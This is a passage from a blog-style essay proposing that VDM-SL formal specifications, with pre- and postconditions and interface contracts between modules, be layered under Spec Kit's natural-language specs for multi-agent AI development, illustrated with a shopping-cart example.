Spec Kit avoids all of these pitfalls by making specs explicit, structured, and human-editable. But here’s the uncomfortable truth:

Structured natural language reduces ambiguity. It does not eliminate it.

Consider a Spec Kit specification like this:

## User Story: Add to Cart
The user can add a product to their shopping cart.
The cart should reflect the updated quantity.

This is clear to a human reader. But it leaves critical questions unanswered:

  • Can the user add 0 items? Negative quantities?
  • What happens when stock is insufficient?
  • If the product is already in the cart, does the quantity replace or accumulate?
  • Is there a maximum cart size?

These aren’t edge cases. They’re boundary conditions — the exact places where modules interact and where bugs hide. A human spec author might catch some of them. But the point of a specification system is that the system itself should make missing boundaries visible.

What Formal Specifications Add

In VDM-SL (Vienna Development Method – Specification Language), the same requirement looks like this:

AddToCart: CustomerId * ProductId * nat1 ==> ()
AddToCart(cid, pid, qty) ==
  carts(cid) := if pid in set dom carts(cid)
                then carts(cid) ++ {pid |-> carts(cid)(pid) + qty}
                else carts(cid) ++ {pid |-> qty}
pre  pid in set dom inventory
     and inventory(pid) >= qty
     and qty > 0
     and CardinalityItems(carts(cid)) < MAX_CART_SIZE
post pid in set dom carts(cid)
     and carts(cid)(pid) = carts~(cid)(pid) + qty  -- accumulate, not replace

Notice what happens:

  1. nat1 as the type of qty — zero and negative quantities are structurally impossible. Not “tested against,” not “documented as invalid” — impossible at the type level.
  2. pre conditions — stock sufficiency and cart size limits are explicit preconditions. An AI agent reading this spec cannot “forget” about them.
  3. post conditions — the behavior is unambiguous: quantities accumulate (not replace). Any agent implementing this module knows exactly what the expected behavior is.
  4. Machine-verifiable — if another module’s postcondition guarantees inventory(pid) >= qty, we can mechanically verify that it satisfies this precondition. No human review needed for interface consistency.

The Three Gaps Formal Specs Would Fill in Spec Kit

Gap 1: Boundary Conditions Are Invisible in Natural Language

In Spec Kit today, boundary conditions depend on the spec author remembering to include them. This is a human-reliability problem — the very thing we’re trying to engineer out of the system.

Formal specifications force boundary conditions to be explicit because the type system and preconditions won’t compile without them. A VDM-SL spec with qty: nat but no precondition on stock levels is visibly incomplete — the type checker can flag it.

Gap 2: Cross-Module Consistency Is Unverifiable

This is the critical scaling problem. Spec Kit writes specs per task (≈ per module), but there’s no mechanism to verify that Task A’s output satisfies Task B’s input requirements.

With 3 modules, you have 3 pairwise interfaces to check — manageable by human review. With 10 modules, you have 45. With 20 modules, 190. Human review does not scale linearly.

Formal specifications solve this with compositional verification: if Order module’s ConfirmOrder operation has a postcondition, and Inventory module’s ReserveStock has a precondition, you can mechanically check whether ConfirmOrder.post ⇒ ReserveStock.pre. This is the A.post ⇒ B.pre pattern — and it scales linearly with module count, not quadratically.

Module A (Order)                Module B (Inventory)
┌─────────────────┐            ┌─────────────────┐
│  ConfirmOrder()  │            │  ReserveStock()  │
│  post:           │──verify───│  pre:            │
│   order.status   │            │   productId ∈    │
│    = <CONFIRMED> │   A.post   │    dom inventory │
│   ∧ stock        │    ⇒       │   ∧ quantity > 0 │
│    reserved      │   B.pre    │   ∧ available ≥  │
│                  │            │     quantity     │
└─────────────────┘            └─────────────────┘

Gap 3: Specs Can’t Validate Themselves

Spec Kit’s philosophy is “intent is the source of truth.” But there’s a meta-problem: how do you verify that the spec itself is internally consistent?

Natural language specs can contain contradictions that only surface during implementation:

- Users must complete checkout within 30 minutes
- Users can save their cart and resume later
- Inventory is reserved at checkout start

Are these contradictory? If a user saves their cart at minute 29, resumes 3 hours later, is inventory still reserved? A human reader might catch this. A type-checker on formal specifications will catch it — the invariant on reserved inventory duration would conflict with the “resume later” postcondition.

A Concrete Proposal: Spec Kit + Formal Specs

I’m not proposing to replace Spec Kit’s natural language layer. I’m proposing to add a formal verification layer beneath it. Here’s how it could work within Spec Kit’s existing workflow:

Phase: Constitution (unchanged)

Project principles, values, guidelines — these remain in natural language. They’re governance, not computation.

Phase: Specify (enhanced)

The human writes intent in natural language (as today). Then, an AI agent generates a VDM-SL formalization of the spec and explains it back:

“Your spec says users can add products to their cart. I’ve formalized this with these constraints: quantities must be positive integers, stock must be sufficient, and cart has a maximum of 50 items. The quantity behavior is accumulative — adding 3 of a product that already has 2 in the cart gives 5, not 3. Does this match your intent?”

The human validates meaning. The machine validates consistency.

Phase: Plan (enhanced)

The technical plan now includes interface contracts between modules: which module’s postconditions feed into which module’s preconditions. These contracts are in VDM-SL, mechanically verifiable.

Phase: Tasks (enhanced)

Each task carries not just a natural language description, but a formal module specification — the types, state, operations, pre/post conditions. The AI agent implementing the task has an unambiguous contract.

Phase: Implement (unchanged)

Agents implement against formal specs rather than natural language descriptions. Claude Code, Copilot, Gemini CLI — any of the 25+ supported agents can read VDM-SL and generate conforming code.

New Phase: Verify

A dedicated verification step checks A.post ⇒ B.pre across all module boundaries. This happens at the spec level, before any code runs. Integration problems are caught before implementation, not after.

Why This Matters for Multi-Agent Development

Single-agent development (one developer + one AI) can get by with natural language specs. The human catches ambiguities in real time. But the industry is clearly moving toward multi-agent development — multiple AI agents building different modules in parallel.

In multi-agent scenarios, natural language ambiguity becomes a scaling crisis:

Modules Pairwise Interfaces Human Review Feasibility
3 3 Easy
5 10 Manageable
10 45 Difficult
20 190 Impractical

Formal interface contracts are the only known mechanism that scales: each contract is verified independently, so verification effort grows linearly with module count (O(n)), not quadratically (O(n²)).

What I’m Not Saying

Let me be clear about what this proposal is not:

  • Not “Spec Kit is bad.” Spec Kit is the best-designed spec-driven framework available. The philosophy is right. The UX is right. The community extensions are impressive.
  • Not “everyone should learn VDM-SL.” The AI reads and writes the formal notation. The human verifies meaning in natural language. No formal methods expertise required.
  • Not “formal specs replace tests.” Tests still matter for integration testing, performance testing, and E2E validation. Formal specs replace tests as the center of correctness — not as the entire verification strategy.
  • Not “this works for everything.” UI/UX, performance tuning, and quick bug fixes don’t benefit from formal specifications. This is for multi-module business logic systems where correctness at module boundaries is critical.

The Open Source Connection

We’ve built a complete framework around this idea:

formal-spec-driven-dev — Apache 2.0 licensed

It includes VDM-SL templates, AI prompt templates for all 4 development phases, multi-agent orchestration configs, and a working e-commerce example (Order, Inventory, Payment modules with formal interface contracts).

Our comparison analysis covers the structural critiques of MetaGPT, ChatDev, Devin, Spec Kit, and Claude Code in detail, with a unified framework for understanding each approach’s “source of truth” and its logical limitations.

If you’re using Spec Kit today and thinking about how to scale it to multi-agent or multi-module projects, I’d love to hear from you. The combination of Spec Kit’s excellent developer experience and formal verification’s mathematical guarantees could be exactly what the ecosystem needs.

Hikaru Ando — IID Systems
GitHub: formal-spec-driven-dev | Apache 2.0

References: